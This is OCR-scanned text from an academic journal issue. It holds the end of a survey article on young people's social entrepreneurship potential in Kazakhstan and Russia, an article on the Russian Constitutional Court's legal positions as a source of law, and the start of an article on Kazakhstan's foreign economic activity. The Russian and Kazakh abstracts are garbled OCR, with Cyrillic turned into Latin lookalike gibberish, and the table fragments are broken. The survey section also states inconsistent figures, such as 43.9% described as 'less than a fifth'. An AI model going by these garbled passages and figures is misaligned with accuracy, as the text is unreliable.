In the value section of the social consciousness of young people, less than a fifth prefer to choose
profit (18.6%), in contrast to the majority of the respondents who prefer to maintain their moral principles
(81%). The presence of a fifth of the respondents can witness about the youth's ambition and healthy spirit
of competition and on the other hand about positive changes in the social consciousness of youth and the
formation of adaptive market attitudes and orientations.
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Table 2 — Preferred work of young people
in Kazakhstan

B Women

H Men

When choosing the most preferred work, the respondents' opinions were divided in the following
way:

- would have chosen to work not on their specialty, but with the prospect of growth (0.1%),

- high-paid, but hired work (0.8%),

- would carry out socially significant projects, social actions for the poor (18.6%),

- average paid work on the specialty (29.6%),

- would open their business and take up business (41.7%).

An analysis of the respondents' opinions may indicate the presence of two different blocks among
respondents:

- ordinary people making up a third of the respondents strive to get and keep not high but real
income, without investing their own means and resources (30.5%),

- potential entrepreneurs with creative innovative potential, searching for new mechanisms, methods
of solving both market and social problems (60.3%).

An analysis of the respondents' opinions may indicate relevant transformational changes in the social
consciousness of young people, the existence of a significant proportion of respondents who may become
successful entrepreneurs in the futurein the creation of favorable conditions.

The majority of the respondents are already ready to start entrepreneurship in the social sphere
(87.9%). At the same time,60.4% of the respondents have a certain experience of participation in the
implementation of socially significant projects and social actions (charity, assistance to the poor). It is
possible to mention the charitable action Enactus "Hold your hand" held in March-April 2017 in Akhmet
Yassawi International Kazakh-Turkish University as an example of a socially significant action.
41 teachers and students participated in the organization and implementation of the project, which became
a part of the voluntary movement of Kazakhstan. A charitable aid was collected for 20 needy families or
83 members of these families. The project budget was 190 thousand tenge, of which 47 thousand tenge
was earned by the organizers in the course of entrepreneurial activity (sale of company badges, logos).
This may indicate that a quarter of the budget of this social action was collecteddue to the socio-entre-
preneurial activity of the students and university staff.

These tendencies can also witness that positive changes of value orientations and attitudes are already
being observed in the consciousness of the most liberal and progressive part of the population (student
youth). In its turn, the respondents expressed the following readiness to engage in social activities: never
(0.5%), sometimes (40.6%), often (23%), constantly (25%). The opinions of the respondents outweigh the
need for a permanent holding of social actions (48%). According to the respondents (87.9%), this is one of
the most common and effective methods of combating poverty. In the opinion of the respondents, only the
twentieth of the population in the South-Kazakhstan region (5.3%) lives below the poverty line. According
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to the respondents, the social situation in the country may worsen in the near future (0.3%), will not
change (19.7%), will improve (76.9%). This facts hows the respondents’ favorable forecasts.

According to the students’ opinion, the success factors of a social entrepreneur are:

- an ability to solve an acute social problem (0.8%),

- an aspiration to create social innovation (10.9%),

- propensity to charity (29.6%),

- his active life position (47.2%).

According to the respondents, the last two factors may well become the key to the success of a social
entrepreneur in the future. Also, according to students, being a social entrepreneur means having a
different outlook on life. The majority of the respondents (65.9%) consider themselves successful, the rest
are in search of ways and methods for achieving success.

According to the typology of social entrepreneurship organizations of researcher K. Altera, successful
entrepreneurship organizations in the social consciousness of students are associated with traditional
notions of socially responsible business, commercial enterprises carrying out periodic social actions for
the population or their employees [21, 22]. Kazakhstan's youth are unaware of the spectrum of other types
of social entreprencurship which are wide spread in the developed western countries. First of all, it
concerns different social types of non-commercial sector organizations. On the other hand, this may
evidence an understanding and awareness of the differences between social entrepreneurship and small,
medium-sized businesses.

Table 3 — Which statement do you agree with?
y
Difficult to
answer
35
0
Young people
Young people 0 work, strive to
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| special
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many young many
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Among the future prospects of young people, the respondents tend to identify both positive and
negative tendencies. Among the positive, the following can be mentioned: among young people there are
many successful people (24%), young people work, but unsuccessfully (20%), struggle for survival (14%),
and among the negative: young people who want to go abroad (38%). Among the tendencies, there are
more negative ones than positive. This can only evidence the instability of the youth situation in society
and possible destabilization.

Among the problems hindering the success of young people, the respondents highlight the
followings: lack of start-up capital (41%), low level of financial literacy (29%), lack of entrepreneurial
experience (28%).
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Table 4 - Development prospects for the youth
in the Republic of Kazakhstan
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Table 5 — WDhiclh opinions do you agree with?
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Among the difficulties to success are only objective (lack of start-up capital) and subjective factors.
This shows that young people recognize their shortcomings. In its turn, the respondents recognize their
need for experience exchange (34%), training in business basics (23%), training in fundraising (21.9%)

and getting consultations (17.5%).

A similar sociological survey was conducted in Nizhnekamsk, Tatarstan. 132 respondents were
interviewed, 68 of them are women and 64 are men. The sample was random. Similar tendencies are
observed in the respondents' outline of trust circles in Nizhnekamsk. According to the trust ratings, the
circle of the greatest trust of young people outlines parents (98%), relatives (92%) and friends (80%), the
circle of the least trust outlines a rather low level of trust in the subjects of power (from 6% to 16%),

except for the President of the Russian Federation (36%).

More than a third (36%) trusts the President of the Russian Federation V.Putin, in comparison with
the same percentage of the respondents (34.8%) who are not inclined to trust the President of the Russian
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Federation. In its turn, only 6% of the respondents are inclined to trust R.N.Minnikhanov, the President of
the Republic of Tatarstan, in comparison with half of those polled (50%) who are not inclined to trust the
President of the Republic of Tatarstan. This may possibly indicate a low level of people's trust in the heads
of regions, governors, mayors of cities.

In the value section of the social consciousness of young people, less than a fifth of them prefer to
choose profit (43.9%), in contrast to the majority of the respondents who prefer to maintain their moral
principles (56%). The presence of slightly less than half of respondents who prefer profits can indicate the
youth's awareness of the crisis situation in the social and economic sphere. Perhaps, the crisis in the socio-
economic sphere in the Russian regions is more profound than in Kazakhstan. In the social consciousness
of youth, one of the adaptation mechanisms is the installation of self-survival.

The respondents’choice of the most preferred work can namely evidence about this fact:

- would have chosen to work not on their specialty, but with the prospect of growth (19%),

- high-paid, but hired work (18%),

- would carry out socially significant projects, social actions for the poor (0%),

- average paid work on the specialty (12%),

- would open their business and take up business (50%).

Respondents' answers may indicate real understanding, respondents' perception of the crisis situation
in the Russian outback, youth awareness and understanding of the needs of the market and market
economy. The only way out of this can be only a steady and stable income capable of generating income.

An analysis of the respondents' opinions shows the presence of two different blocks among the
respondents in the same ratio as in Kazakhstan: ordinary people (30%), potential entrepreneurs (60.7%).

According to the respondents, the social situation in Russia in the short term may worsen (33%), it
will not change (46.9%), improve (19.6%). This may indicate unfavorable forecasts of the respondents.

Russian respondents relate the crisis exit with the youth activity (24%), government policy (18%),
emigration of young people abroad (31.8%), constant but unsuccessful work of youth (25%), and struggle
for survival (15%), the emergence of successful youth (7.5%). Among the further perspectives, Russian
youth highlight only survival and emigration for themselves; this may indicate a preponderance of
negative prospects over positive ones. Among the negative factors, the respondents are inclined to indicate
corruption (39%), ineffectively conducted youth policy (34%), the gap between the proclaimed and actual
youth policy (13%) and the lack of conditions for the youth development (6%). This may witness that the
Russian respondents no longer expect support from the state and rely only on themselves.

The discussion results. The results of the sociological research witness about transformational
changes in the social consciousness of young people, the development of adaptation mechanisms to the
rapidly changing conditions of the modern market. Thus, as a result of the survey, two groups of the
respondents were identified:

- ordinary inhabitants (30.5%),

- potential entrepreneurs (60.3%).

These two groups were identified as a result of the analysis of the attitude of young people to socially
significant projects, motivation and possibility to carry out entrepreneurial activities in the future,
assessment of the social potential of young people in their determination to engage in social entre-
preneurship.

If the study of the phenomenon of social entrepreneurship was previously carried out within the
framework of theoretical studies, consideration of the experience of the social entrepreneurship
development in developed foreign countries with a view to apply best practices in Kazakhstan and the
post-Soviet space [22], as well as developing business models of social entrepreneurship [23], then this
study focuses on the impact of young people's attitudes on the future development of social entrepre-
neurship in the country through developing social entrepreneurship initiative and culture in the social
consciousness of youth.

Conclusions. The state monopoly, which still exists in the social sphere, contributes to the preser-
vation and ensures the stability of the unifying consolidation of the Kazakhstani society that was left as a
legacy from the Soviet period. At the same time, unifying consolidation can not promote the social
entrepreneurship development in Kazakhstan, the emergence of social and innovative ideas in the social
consciousness of young people. In its turn, liberalization and democratization, the renewal of Kazakhstan's
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society, the transition to democratic consolidation can contribute to the inculcation of Western culture
values, the development of free trade, market mechanisms and the creation of a competitive environment
[24, 203].

As the results of the sociological survey show, the identification of two groups of respondents (ordi-
nary inhabitants and potential entrepreneurs) may indicate a gradual transition from unifying consolidation
to democratic consolidation, as well as the accumulation of established social capital that can lay a solid
foundation for unifying consolidation of the Kazakhstan society.

In our opinion, unlike Kazakhstan, the social entrepreneurship development in the center and on the
periphery of Russia goes in different directions. In the center, the activation of liberal modernization
contributes to the development of a highly competitive environment for both the business sector and the
third sector. This may indicate the success of Westernization, the successful assimilation of the social
values and orientations of Western liberal culture by the social consciousness of the population. On the
periphery, the situation was diametrically opposite. The traditional culture of the periphery population
does not support actively liberal modernization, perhaps the main obstacles are stable stereotypes in the
social consciousness of the population, there fore conservative modernization prevails over liberal
modernization on the periphery though the values of liberal culture attract by their novelty.

In Kazakhstan, the social potential of young people is higher than in Russia, which can be evidenced
by a higher level of trust both within the Kazakh society and the youth's trust in the subjects of power. A
higher level of social potential of young people in Kazakhstan compared to Russia can become a solid
basis for a more successful development of social entrepreneurship in Kazakhstan.

The source of the study funding. This study was funded by the Public Association "Monitoring and
Expertise Center" (South-Kazakhstan oblast, Turkestan).
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A. M. HblcanﬁaeBa', I'. Hocanenko®

lMexczlyHapozLHmﬁ Ka3axcKo-Typeukuil yuusepcuteT uM. X. A. ScaBu, Kazaxcran,
*KasaHcKuii HHHOBALIMOHHEIH yHIBepcHTeT, Poccus

CPABHUTEJIBHBIN AHAJIN3 COLIUAJIBHOTI'O IMMOTEHIIAAJIA MOJIOJAEXH
KAK ®AKTOP PA3BUTUSA CONUAJIBHOI'O HPEJIIPUHUMATEJIBCTBA
B KA3BAXCTAHE U POCCUH

AnHoTanusi. B crarbe mokazaH COIMAaJBbHBIA MOTEHLMAA MOJIOJIEKH Kak (akropa pa3BUTUS COLUAIBHOTO
npeanpuHuMaTenbcTBa B Kazaxcrane n Poccun. [lpu Hammcanuu crathbd OBUTH MCIIONB30BaHBI METOJ KOMITApaK-
TUBUCTCKOTO aHAJIN3a, METO/bI KOJMMYECTBEHHON COL[UOIOT U, U3YUE€HUE SKCIEPTHBIX MHEHHI.

CpaBHUTENBHBIN aHAIN3 COLMAIBHOTO IOTEHIMana MOJOAEKH Kak (akropa pa3BUTHSI COLUAIBHOTO Ipel-
npuauMarenbctBa B PK u PO moxer cBuuerenbcTBOBaTh 0 0oiiee BEICOKOM YPOBHE COIHANBHOTO MOTEHIIHAIA
monozaexu B PK no cpaBuenuto ¢ P®. Kpome Toro, Ha pa3BUTHE COLMAILHOTO NPEANPUHUMATEIBCTBA OKA3bIBAIOT
BIIMSIHUE PsA HETaTUBHBIX (DAKTOPOB, TaKMX KaK KOPPYMIHS, OTCYTCTBHE IOIICPKKHM HWHHULIMATHUB COLUAIBHBIX
MpeaIpUHIMAaTEIe CO CTOPOHBI OOIIECTBAa, Pa3phlB MEXIy IPOBO3INIANIAEMON U (PAKTHUECKONH MOIIOIEKHOM
MOJIMTHKOM B JAHHOM HaIlpPaBICHUH.

Cratbsl azpecoBaHa Hay4YHbIM PaOOTHMKAM, FOCYAAPCTBCHHBIM OpraHaM Ul M3y4YCHHS CIEHU(DUKN pa3BUTHA
COLMAJIBHOTO TIPENIPUHUMATENBCTBA B PECITyOIIUKE.

KaroueBble ciioBa: COIMUAJIIBHOE NPECANIPUHUMATEIILCTBO, HCIPABUTCIILCTBCHHBIC OpraHU3alnu, rocyaapcrso,
rpakJaHCKOEe 00LIECTBO

A. M. Heican6aena, I'. Hocanenko

KA3AKCTAH/JIA )KOHE PECEHJIETT )KACTAP/IbIH 9JIEYMETTIK DSJIEYETIHIH,
CAJIBICTBIPMAJIBI TAJIJAYBI SJIEYMETTIK KOCIHIKEPJIKTI
JAMBITY ®AKTOPBI PETIHIAE

Annotanusi. Makanajga >kacrapislH oseyMerTik aieyeri Kaszakcranma sxone Pecelizeri oneyMmerTik Kocim-
KEpJIKTI JaMbITy Maceliesiepi KapacThIpblIFaH. MakanaHbsl a3y OapbIChbIHIa KOMIIAPAKTUBHCTIK Taljay oici,
CaHJBIK QJICyMETTaHYIbIH S/iCTepi, IKCIIEPTTIK CypayJiapAblH Tajalaybl KOJIIaHbBUIIbL.

Kactapnei oneymertik oneyeri KP-ma men P®-ma oneyMmeTTik KOCIMKEPIIKTI JaMBITY (akTOpBl peTiHme
cabIcTRIpMaIsl Tanaaysl Kazakcranga Peceiire kaparanma skacTapIblH QJIEYMETTIK QJICYCTiHIH ACHIeHi e Kaiaa
JKOFaphl ekeHiH kepcerei. COHBIMEH KaTap, JIEyMETTIK KOCIIKEePITiKTi JaMybIHA ChIOaiIac 5KeMKOPIIBIK, JIEYMETTIK
KocIKepiepaiH OactamanapblH KOFaM TapanblHAaH KOJAAYBIHBIH OOJMAaybl, OCHl OaFbITTaFbl JKapUsIaHFAH >KOHE
HAKTBI CasiCATTHIH apachIHAAFbI AJIIIAKTHIK CUAKTHI OipHEIIe HEraTUBTI (paKTopIap acep eTei.

Maxkana pecrmyOauKanarbl NEyMETTIK KOCIMKEPIIKTI JaMBITY €peKIISTIKTepiH 3epTTey YIIiH FBUIBIMHA KbBI3-
METKepJiep MEH MEMJIEKETTIK OpraHaapFa apHallFaH.

Tyiiin ce3mep: aeyMeTTIK KOCIIKEPIIiK, YKIMETTIK eMec yHbIMIap, MEMJIEKET, a3aMaTThIK KOFaM.
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LEGAL POSITIONS OF THE CONSTITUTIONAL COURT
OF THE RUSSIAN FEDERATION IN RUSSIAN LEGAL SYSTEM

Abstract. Analyzed the relationship of the Constitution of the Russian Federation and the legal positions of the
Constitutional Court of the Russian Federation, as sources of law, their place in legal system.

The content of the institutes of the theory of law (Constitution, constitutionalism, legal position, source of law,
judicial precedent), provisions of the Constitution of the Russian Federation, acts of the Constitutional Court of the
Russian Federation, Russian legislation and the works of legal scientists using the method of comparison and
synthesis are studied.

The idea that judgements of the Constitutional Court of the Russian Federation are sources of law has been
criticized. An example is given of when the Constitutional Court of the Russian Federation has gone beyond the
interpretation of the Constitution of the Russian Federation, creating a new legal norm.

It is concluded that the legal positions of constitutional courts as sources of law can exist without the Consti-
tution. It is noted that the legal positions of constitutional courts is a place in which where opinions of scientists
becomes obligatory.

As evidence the Constitution of the Russian Federation and the legal positions of the Constitutional Court of the
Russian Federation represent an inseparable unity, it is pointed out legal positions of the Court also have certain
features of the Constitution as a source of law, which allows to consider them together with the Basic Law as a single
source of law.

Keywords: constitution, constitutionalism, the Constitution of the Russian Federation, constitutional courts, the
Constitutional Court of the Russian Federation, legal position, legal position of the Constitutional Court of the Rus-
sian Federation, source of law, judicial precedent, legal norm.

Introduction. Appearance in the 1990s of constitutional justice bodies in Russia gave the new
strength to discussions on the recognition of acts of courts as sources of law. For such recognition, these
acts should have the appropriate features, such as certainty, general obligation, common knowledge, and
internal structuring.

Methods. The content of the constructs of the theory of law (Constitution, constitutionalism, legal
position, source of law, judicial precedent), provisions of the Constitution of the Russian Federation, acts
of the Constitutional Court of the Russian Federation, Russian legislation and the works of legal scientists
using the method of comparison and synthesis are studied.

Results. Discussion on the role of court decisions, including interpreting the Constitution, is
conducted not only in Russia. Abroad traditionally the law is viewed as an institutional normative order in
which a separation is made between those who create rules of law (the legislator) and those who apply the
rules of law (the courts) [1]. However, it is being noted that the text of the Constitution is important but
that precedent also matters in interpreting the Constitution — and on specific points of law [2].

Turning to the Russian discussion on this issue, it should be said that the following evidences are
presented as arguments in favor of recognizing acts of constitutional (statutory) courts as sources of law.

Decisions of the Constitutional Court of the Russian Federation on the recognition of the legal status
as unconstitutional quite fall within the formal definition of a regulatory legal act and were included in the
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number of these acts in the draft of the Federal law “On regulatory legal acts of the Russian Federation”;
the term “quasi-norms” applies to the legal positions of the court, its decisions fulfill the law-making
function and establish rules that actually govern the relations in society [3].

Acts of the Constitutional Court of the Russian Federation have state obligation, have a volitional
nature, a strictly defined form of expression, are issued by the body of constitutional control within its
competence, contain explanations of the law, as well as provisions designed to eliminate gaps in the law,
and are addressed to a wide range of subjects, their role and value are not limited to one-time execu-
tion [4].

Decisions of constitutional (statutory) courts, being a special kind of sources of constitutional law of
Russia, combine the properties of various sources of law and cannot be fully attributed to any of them;
contain legal regulations, being at the same time individual legal acts [5].

Abroad, especially, in the USA there are other approaches, for example, J. Harrison considers, that
the norms of precedent as the federal courts consist mainly of unwritten principles that are characterized as
binding law but that reflect substantial judicial input, custom, and practice. Those are the hallmarks of
general law [6].

Not putting in question the arguments described above, we note that scholars who recognize the
decision of the constitutional court as a source of law do not take into account that it is a judicial decision,
to which, in terms of design, there are special requirements. For example, according to art. 75 of the Law
"On the Constitutional Court of the Russian Federation" [7] in the decision set out as a separate document,
depending on the nature of the issue under consideration, contains: the name of the decision, the date and
place of its adoption; the personal composition of the Court, which made the decision; necessary data
about the parties; the wording of the question, the reasons and grounds for its consideration, and others.

In this regard, there are questions: whether all of the above mentioned in art. 75 of the denoted Law
can be called legal norms? Is it permissible to regard as a normative part that part of the decision of the
constitutional court where the positions of the applicants are disclosed? Should the source of law be the
entire decision of the constitutional court as a document or only the wording of the decision?

Analysis of the structure of the decisions of the Constitutional Court of the Russian Federation allows
to conclude that only legal positions expressed by it both in the formulation of the decision and outside it
can have a normative character.

According to N.V. Vitruk, in legal science, the issue of the notion “legal positions of constitutional
(statutory) courts” did not receive a sufficient theoretical substantiation and it is perceived more likely on
an intuitive level [8]. The scientist considers legal positions as legal conclusions and representations of the
court — the result of interpretation (interpretation) by the court of the spirit and letter of the Constitution
and interpretation of the constitutional meaning of the provisions of regulatory acts within its com-
petences, which remove uncertainty and serve as the legal basis for the final acts of the court [9].

From the point of view of G.A. Gadzhiev, the legal position of the court is only a fragment of the
motivation part of the final decision of this body, which is connected with the final conclusions of the
Court, and represents a legal understanding of the constitutional norm, common to the statutory majority
of judges, by its nature close to ratio decidendi, meaning in English case law the essence of decision, the
decisive argument [10]. According to L.V. Lazarev, the legal position is a system of legal arguments
expressing the legal consciousness of the constitutional principle, norm and proper constitutional content
of the contested legal provision [11].

V.0. Luchin, O.N. Doronina and M.G. Moisenko regard that the legal position of the court is not only
the final conclusion on the compliance or non-compliance of the norms of the considered law with the
Constitution, but also a system of arguments driven by this body in support of the decision [12].

These scholars note that the legal positions of constitutional courts have many features inherent in the
sources of law. The most significant is that they reflect the political will, because they arise as an act of
constitutional law of a state proxy to express this will in the form and parameters prescribed by law; have
an obligatory character and possess the quality of a regulator of public relations certain type; they also
possess specific internal properties, since they serve as a regulatory framework in the legal system, and
also serve as a guide in law-making and law enforcement [13].

B.A. Strashun divides legal positions into non-norms and containing constitutional norms. He refers
to the first category those positions that constitute the interpretation of the Constitution and are contained
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in the motivation part of the decisions of the Constitutional Court of the Russian Federation, to the second
- the legal positions expressed in court decisions on the official interpretation of the Constitution and on
the resolution of competence disputes [14].

According to B.S. Ebzeev, decisions of the Constitutional Court of the Russian Federation act as a
way of overcoming uncertainty in understanding the provisions of the Constitution, clarifying its objective
meaning and identifying the positive legal principles contained in it; therewith, the court is deprived of
discretion in the sense that the limits of such discretion are conditioned by the obligation to maintain the
Constitution and the inadmissibility of its violation or amendment, except for the silent “transformation”
of the Constitution stated by the court, i.e. its adaptation to the objective realities of social development [15].

I.S. Basten considers legal positions as part of the decision of the constitutional justice body, which
contains a special type of normalization, serving as a model for resolving issues that arise in the future, in
which the conclusions made by the judges of the constitutional (statutory) courts when considering a
particular case are supported by certain reasons [5].

Discussion. Some scientists believe that the courts can only interpret the law without creating new
legal norms. It is impossible to agree with this statement for the following reasons.

Firstly, in practice, the line between the interpretation of the law and the creation of a new legal norm
is very thin. In theory, the interpretation should only clarify the meaning of the norm, but this is not
always the case because of the imperfection of the legislation. As an example of the creation of a new
legal norm by the Constitutional Court of the Russian Federation, the decision [16] is usually given, in
which the Court actually established a new, not stipulated by the Basic Law, version of the regulatory
legal act - the Law of the Russian Federation on the Amendment of the Constitution of the Russian
Federation.

According to E. Feterisin modern view, the judge is no longer considered as the «mouth of the law»
who automatically deduces the decision from the general rule, but he establishes the meaning of the legal
rule in the context of the specific case. In this conception, legal rules do not have a context-independent
meaning, but the judge must decide in the individual case what the exact meaning of the legal rule is [17].
There is another point of view, for example, N. Katyalargues that Congress, not the Court, is often best
situated to make the judgments necessary to create the Constitution of relevance to Americans today [18].

Secondly, legal positions of courts, which usually cite as examples of “judicial precedents” in
Russian legal science, as a rule, cannot exist without a corresponding regulatory legal act, explaining its
meaning, filling legal lacuna or correcting the content. In the event that the content of act is changed or it
is repealed, decision of the judicial authority revokes its force. It should also be noted that the content of
normative act, considered without taking into account decisions of judicial authorities, will be inaccurate
and incomplete.

For example, in art. 1 of the Constitution of the Russian Federation, it is established that the Russian
Federation is a democratic state. This provision is the norm-definition, and its content can be disclosed
through an explanation of what is democracy. There are various approaches to the theory of democracy in
different states: for example, direct democracy is more diffused in Switzerland and referendums are often
held, and in the USA plebiscites are assigned less because they are believed to undermine the authority of
the legislative power established in the Constitution.

In some appeals to the Constitutional Court of the Russian Federation, the applicants refer to the fact
that, in accordance with the Constitution, Russia is a democratic state, but participants in constitutional
legal proceedings often have an understanding of the meaning of democracy. Therefore, the Constitutional
Court of the Russian Federation is forced in its decisions to disclose the requirements for legal regulation
in a democratic state and indicated the following:

— maintaining the principle of keeping citizens' confidence in the law and actions of the state, which
presupposes the preservation of reasonable stability of legal regulation and the inadmissibility of making
arbitrary changes to the existing system of norms, as well as providing citizens with the opportunity, if
necessary, in particular by establishing temporary regulation, during a reasonable transitional period to
adapt to changes [19];

— compliance with the requirement of justice when applying responsibility for violation [20];

— formation of local government bodies through free elections [21];

— proper enforcing obligations made directly to the public [22].
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In the Constitution of the Russian Federation and the laws, there are no norms to establish respon-
sibilities of legislators to involve into law the legal positions created by the Court outside of a operative
part of decision. In science, there is a discussion about the degree of their commitment [8, 23]. But in any
case, the legislator understands that if it ignores legal positions, then there is a high probability that the
relevant legal acts will be repealed by the Court.

It should also be noted that the legal positions of constitutional courts are the place where opinions of
scientists becomes obligatory. For example, the Constitutional Court of the Russian Federation established
application of legal principles is mandatory [24].

In conclusion, it should be noted the Constitution of the Russian Federation and legal positions of the
Constitutional Court of the Russian Federation are an inseparable unity. Evidence of this is that legal
positions have the hallmarks of the Constitution (consolidation the main principles of the social and state
system; the source of the law of all branches of Russian law), which allows considering them together
with the Basic Law as a single source of law.
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. b. Ceprees
H. ®. KaranoB ateiHaarsl Xakacc MEMIJIEKETTIK YHUBepcHuTeTi, AbGakaH, Peceit

5 PECEM KYKBIKTBIK )KYAECIHAET'T
PECEM KOHCTUTYUUSJIBIK COTBIHBIH KYKBIKTBIK YCTAHBIM/IAPBI

AnHotanus. 3eprreyin Makcatel — PO Koncrurynusicel men Peceit Koncrutynusuibik COTBIHBIH KYKBIKTBIK
YCTaHBIMJIapBIHBIH KYKBIKTBIK J)KYHEAeri KYKbIK Ko3/iepl peTiH/ie apaKaThIHACKIH Tanaay OOJIbII TaObUIadbl.

CanbICThIpy JKOHE CHHTE3 OMICIH KOJJIaHa OTBHIPBIN, KYKbIK TEOPHSCBIHBIH KOHCTPYKTOPJIApBHIHBIH Ma3MYHBI
(KOHCTUTYIMS, KOHCTUTYLIMOHAIN3M, KYKBIKTBIK YCTaHbBIM, KYKBIK K631, coT mpenenenti), PO KoncrurynusicbiHbIH
epexenepi, PO Koncruryunsuieik CoThIHBIH akTiiepi, Pecell 3aHHaMachl jkoHE FaJbIM-3aHI€PIIEPAIH E€HOEKTepi
3epPTTEeNI.

P® KoHCTUTYIHSUTBIK COTBIHBIH MIENIIMIEPi KYKBIK K631 O0JIBIN TaObUIATBIHABIFBI TYPAJIbl HAES CHIHFA AJIBIHIBL.
P® Koncrurynusnblk cotbl PO KoHCTUTYIMSCHIH TYCiHAIPY IIETiHEH MIBIFHIN, YKaHAa KYKBIKTHIK HOPMAaHBI jKacall
IIBIKKAH MBICAI KENTIPiJIreH.

KOHCTUTYIMSANBIK COTTapAbIH KYKBIKTBIK YCTaHBIMIApBl KYKBIK Ke3i perinae KoHcTuTymmscels eMip cype
anMaipl JETEH KOPBITBIHIBI Kacayabl. KOHCTUTYIMSAIBIK COTTapIBbIH KYKBIKTBIK YCTaHBIMAAPBI — OYJI KYKBIK JKOHE
MEMJIEKET TEOPHUSCHIHBIH, KOHCTUTYLMSUIBIK KYKBIK FBUIBIMBIHBIH JKEKeJereH epekenepi HOPMATHBTIK, KalIlblFa
MIHJIETTI CHIIATKa ue O0JIATHIH OPBIH JICT KOPCETLIS/I.

P® Koncruryuusicel men Peceit KonctuTynusuibik COTBIHBIH KYKBIKTHIK YCTaHBIMJIAPh! 25KbIpAMAUTBIH OipITiKTi
Oinpipeni gereH panen perinae, KOHCTUTYLMSHBIH jKeKellereH OelnriyiepiHe KYKbIK Ke3i periHne KoHCTUTYIHsIIbIK
COTTBIH KYKBIKTHIK YCTaHBIMJAphl Ja We EKEHIIr KepceTriiemi, OyJl ojapibl Heri3ri 3aHMEH Oipre KYKBIKTHIH
OipbIHFall Ke31 peTiHje KapacThlpyFa MyMKIHIIK Oepeti.

Ty#iH ce3aep: KOHCTUTYLMS, KOHCTUTYLHOHAIN3M, Pecell KoHCTUTYUACH, KOHCTUTYLUSNIBIK cOTTap, Peceii-
JIiH KOHCTHTYLSUIBIK COTBI, KYKBIKTHIK ycTaHbIM, P® KoncTuTyrmsiinblKk COTBIHBIH KYKBIKTBIK YCTaHBIMBI, KYKBIK
KO31, COT MPeneIeHTI, KYKBIKTHIK HOpMa.
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. b. Ceprees
Xaxkacckuii rocynapctBeHsbiil yausepcureT uM. H. @. Katanosa, Abakan, Poccust

IPABOBBIE NO3UIIMUA KOHCTUTYIIHOHHOI'O CYJA POCCUNCKOM ®EJEPALIMA
B POCCUMCKOM ITIPABOBOM CUCTEME

AnnoTauus. llenpio nccnenoBanus sBiseTcs aHanu3 cooTHomeHus: Koncrurynuu PO v npaBoBBIX MO3UIIHIA
Koncrurynuonnoro Cyna Poccun, kak HCTOYHUKOB IIpaBa, UX MECTa B IPaBOBOI CUCTEME.

C nmpuMeHEeHHEM MEeTOJla CPaBHEHMS M CHHTE3a M3Y4YeHbl MHCTUTYTHI TEOPHUH IpaBa (KOHCTHUTYLHS, KOHCTH-
TYLIMOHAJIM3M, TIPaBOBasi MMO3MLMS, UCTOYHMK IIpaBa, CyaeOHbIA npereneHT), nonoxennii Koncrurynunun PO, akros
Koncturynmonnoro Cyna PO, poccuiickoro 3aKOHOATEHCTBA ¥ TPYIOB YUCHBIX-IOPHCTOB.

IMomBeprayta KpuTHKEe Haes o ToMm, uto pemreHuss KoncrurynmonHoro Cyna P® gBIsSiOTCS MCTOYHHKAMHU
npaBa. [IpuBenen npumep, xorna Koncrurymmonnsrii Cyn PO Beimien 3a mpenensl TonkoBaHus Koncrurynuu PO,
CO3/1aB HOBYIO [IPAaBOBYIO HOPMY.

CraenaH BBIBOJ, YTO TPABOBBIC MO3MLUHN KOHCTUTYIMOHHBIX CyJOB KaK MCTOYHHMKU IIpaBa HE MOTYT CyIle-
crBoBathk 0e3 Koncrurynmmn. OTMedaeTcs, YTO IpPaBOBbIE MO3UIMH KOHCTUTYILHOHHBIX CyIOB — 3TO MECTO, B
KOTOPOM OTHACJILHBIC ITOJIOKCHHUA TCOPUH IIpaBa U roCyaapCTBa, HAYKM KOHCTUTYHHOHHOT'O ITpaBa npno6peTa}0T
HOPMATHBHBIN, 0011e00s3aTeIBHBIN XapaKTep.

B kauectBe noxazarensctBa Toro, uro Konctutyuuss PO u npasosbie mo3uuuu Koncturyuuonunoro Cyna
Poccun mpencraBnsioT HepaspbIBHOE €AMHCTBO, YKa3bIBa€TCsl HA TO, YTO OTAENbHBIMU IMpu3Hakamu KoHcTuTynuun
KaK MCTOYHMKA IpaBa o0nanatoT u npasosble nozuimu Koncrurynuonnoro Cyna, 4To MO3BOJISIET pacCMaTpUBATh UX
BMecTe ¢ OCHOBHBIM 3aKOHOM KaK €IMHBIH HCTOYHHK IpaBa.

Ki1roueBble ¢JI0Ba: KOHCTUTYHHWS, KOHCTUTyIHOHam3M, KoHcturymms Poccun, KOHCTUTYIMOHHBIE CYHBI,
Koncturynmonnsiii Cyn Poccun, mpaBoBast mozurus, mpaBoBas mosumus Koncturynnonnoro Cyna P®, ucrounnk
IpaBa, CyAeOHbIN IPENEAEHT, IIPaBoBasi HOPMa.
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THE MAIN ASPECTS OF THE DEVELOPMENT OF FOREIGN
ECONOMIC ACTIVITY IN THE ERA OF GLOBALIZATION

Abstract. The article deals with the issues of the state's inclusion in the global economic processes, which have
become a necessary condition for the national development of each country seeking for the efficiency and com-
petitiveness of its economy. The importance of the position of the Republic of Kazakhstan and the regions as full
subjects of international economic relations (IEA), describes the economic relations with many developed and deve-
loping countries, expanding the range of partner countries. The article deals with the main factors of development of
foreign Economic relations and their impact on the regional economy. The main stages of fruitful state policy in the
field of foreign Economic activity (FEA) are characterized, and the basic structure of FEA of the Republic of Ka-
zakhstan is described. There is a deepening of trade and economic relations with them, moving towards integra-
tion into the world market.

Key words: globalization, economic processes, foreign economic activity, economic relations.

Introduction. President N. A. Nazarbayev, in the strategy "Kazakhstan-2050: a new political course
of the established state" and in his annual address to the people "NURLY ZHOL — the WAY to the
FUTURE", noted: "The global system of the world economy is a well-established mechanism that works
according to its own rules [1]. According to these rules, we must work. We are not expected in the world
markets, but we need to become popular and gain a foothold in them." To do this, it is necessary to create
an innovation-oriented national economy, the level of openness of which should promote the attraction of
new industrial and information technologies, the development of the export potential of the country and
the provision of personnel trained at the level of international standards, etc. [2]. This is possible only if
we conduct our foreign economic activity (FEA) efficiently, especially in the context of globalization. The
relevance of foreign economic processes that contribute to the sustainability of the national economy (NE)
significantly increased in the global economic crisis [3].

Methodology. General methods of research of the study were used In the process: methods of
analysis of financial statements: horizontal, vertical, ratio, comparison, and other.

The following methods were used to study the foreign economic activity of the Republic of Ka-
zakhstan and its regions:

- review of the regulatory framework;

- analytical method;

- studying of foreign experience;

- the possibility of application of instruments of state - private partnership;

- collection and processing of statistics;

- economic-mathematical calculations.

Results. Commercial activity in the foreign market, in comparison with similar activity in the coun-
try, is characterized by many features which are defined by the General features of the international
commercial activity, inherent to the majority of the foreign markets [4].
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Form

Foreign trade

Military-technical
